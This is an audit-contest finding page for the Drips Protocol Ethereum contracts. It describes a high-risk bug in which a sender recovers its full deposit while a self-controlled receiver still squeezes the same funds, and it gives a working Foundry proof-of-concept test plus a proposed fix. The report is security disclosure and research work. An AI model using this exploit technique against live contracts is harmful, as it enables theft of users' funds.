Drips Protocol contest - evan's results

An Ethereum protocol for streaming and splitting funds.

General Information

Platform: Code4rena

Start Date: 25/01/2023

Pot Size: $90,500 USDC

Total HM: 3

Participants: 26

Period: 9 days

Judge: GalloDaSballo

Id: 209

League: ETH

Drips Protocol

Findings Distribution

Researcher Performance

Rank: 1/26

Findings: 1

Award: $25,825.80

🌟 Selected for report: 1

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: evan

Also found by: HollaDieWaldfee

Labels

bug
3 (High Risk)
primary issue
selected for report
sponsor confirmed
H-01

Awards

25825.8024 USDC - $25,825.80

External Links

Lines of code

https://github.com/code-423n4/2023-01-drips/blob/main/src/Drips.sol#L425-L430

Vulnerability details

Impact

By creating a drip that ends after the current cycle but before its creation time and immediately removing it, the sender doesn't have to put in any assets but the receiver can still squeeze this drip.

By setting a receiver that the sender controls, the sender can drain arbitrary asset from the contract.

Proof of Concept

Let the cycle length be 10 seconds. By i-th second I mean the i-th second of the cycle. At the 5th second, sender creates a drip that starts at 0th second and lasts for 2 seconds. At the 6th second, sender removes this drip.

https://github.com/code-423n4/2023-01-drips/blob/main/src/Drips.sol#L569 Since the drip ends before it was created, the dripped amount is 0, so the sender can retrieve their full balance.

https://github.com/code-423n4/2023-01-drips/blob/main/src/Drips.sol#L425-L430 https://github.com/code-423n4/2023-01-drips/blob/main/src/Drips.sol#L490-L496 Now the receiver squeezes from this drip. SqueezeStartCap = _currCycleStart() = 0th second, squeezeEndCap = 6th second, so the receiver can still squeeze out the full amount even though the sender has withdrawn all of his balance.

Please add the following test to DripsHub.t.sol. It verifies that the sender has retrieved all of his assets but the receiver can still squeeze.

function customSetDrips( uint256 forUser, uint128 balanceFrom, uint128 balanceTo, DripsReceiver[] memory newReceivers ) internal { int128 balanceDelta = int128(balanceTo) - int128(balanceFrom); DripsReceiver[] memory currReceivers = loadDrips(forUser); vm.prank(driver); int128 realBalanceDelta = dripsHub.setDrips(forUser, erc20, currReceivers, balanceDelta, newReceivers, 0, 0); storeDrips(forUser, newReceivers); } function testExploitSqueeze() public { skipToCycleEnd(); // Start dripping DripsReceiver[] memory receivers = new DripsReceiver[](1); receivers[0] = DripsReceiver( receiver, DripsConfigImpl.create(0, uint160(1 * dripsHub.AMT_PER_SEC_MULTIPLIER()), uint32(block.timestamp), 2) ); DripsHistory[] memory history = new DripsHistory[](2); uint256 balanceBefore = balance(); skip(5); customSetDrips(user, 0, 2, receivers); (,, uint32 lastUpdate,, uint32 maxEnd) = dripsHub.dripsState(user, erc20); history[0] = DripsHistory(0, receivers, lastUpdate, maxEnd); skip(1); receivers = dripsReceivers(); customSetDrips(user, 2, 0, receivers); (,, lastUpdate,, maxEnd) = dripsHub.dripsState(user, erc20); history[1] = DripsHistory(0, receivers, lastUpdate, maxEnd); assertBalance(balanceBefore); // Squeeze vm.prank(driver); uint128 amt = dripsHub.squeezeDrips(receiver, erc20, user, 0, history); assertEq(amt, 2, "Invalid squeezed amt"); }

Tools Used

VSCode, Foundry

https://github.com/code-423n4/2023-01-drips/blob/main/src/Drips.sol#L426 One potential solution is to add an additional check after this line. Something along the lines of: if (squeezeStartCap < drips.updateTime) squeezeStartCap = drips.updateTime;

#0 - c4-judge

2023-02-09T11:22:39Z

GalloDaSballo marked the issue as primary issue

#1 - c4-sponsor

2023-02-09T15:19:48Z

CodeSandwich marked the issue as sponsor confirmed

#2 - CodeSandwich

2023-02-10T21:39:05Z

[confirm] Great job! This is a critical protocol breaker.

#3 - GalloDaSballo

2023-02-22T09:15:10Z

The Warden has shown a way to trick the contract into disbursing out funds without the upfront payment.

Because this shows a way to steal the principal, I agree with High Severity

#4 - c4-judge

2023-02-22T09:15:16Z

GalloDaSballo marked the issue as selected for report

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter